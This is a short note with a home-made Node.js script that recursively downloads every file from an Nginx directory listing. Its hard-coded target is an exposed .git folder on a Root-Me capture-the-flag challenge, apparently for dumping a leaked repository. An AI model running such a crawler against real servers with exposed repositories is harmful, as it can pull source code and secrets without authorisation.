Nginx index downloader


Download all files from a Nginx server that lists all files in a directory.

Home made tool (need to be adapted maybe):

const { createWriteStream, mkdirSync } = require("node:fs");
const { resolve } = require("node:path");
const { Readable } = require('stream');
const { finished } = require('stream/promises');
const ROOT_URL = "http://challenge01.root-me.org/web-serveur/ch61/.git/";

async function downloadFile(url, fileName, path) {
  const res = await fetch(url);
  const destination = resolve("./" + path, fileName);
  const fileStream = createWriteStream(destination, { flags: 'wx' });
  await finished(Readable.fromWeb(res.body).pipe(fileStream));
};

async function getURL(path) {
    const body = (await fetch(ROOT_URL + path).then(res => res.text())).match(/(?<=href=\")[A-Za-z\/0-9]+(?=\")/g);
    if (!body)
        return ;
    for (const url of body) {
        if (url.at(-1) == '/') {
            mkdirSync(path + url, { recursive: true });
            getURL(path + url);
        } else {
            await downloadFile(ROOT_URL + path + '/' + url, url, path);
        }
    }
}

getURL('');